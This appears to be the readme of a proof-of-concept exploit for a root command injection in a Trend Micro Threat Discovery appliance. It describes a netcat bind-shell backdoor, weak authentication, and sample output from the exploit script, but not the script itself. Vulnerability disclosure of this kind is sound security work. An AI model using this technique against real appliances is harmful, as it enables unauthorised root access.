Summary:

There exists a post authenticated command injection vulnerability that can be used to execute arbitrary code as root.

Notes:

  • Since this is a busybox, getting a connectback seemed hard. So, for this particular PoC, all I did was exec a bind shell using netcat.
  • Auth is VERY weak, no privilege seperation, no username required, no password policy, no protection from bruteforce attempts...

Example:

saturn:trend_micro_threat_discovery_detected_potential_files_rce mr_me$ ./poc.py 
(+) usage: ./poc.py <target> <pass>
(+) eg: ./poc.py 172.16.175.123 admin123
saturn:trend_micro_threat_discovery_detected_potential_files_rce mr_me$ ./poc.py 172.16.175.123 admin
(+) logged in...
(+) starting backdoor, this will take a few secs...
(+) calling backdoor!
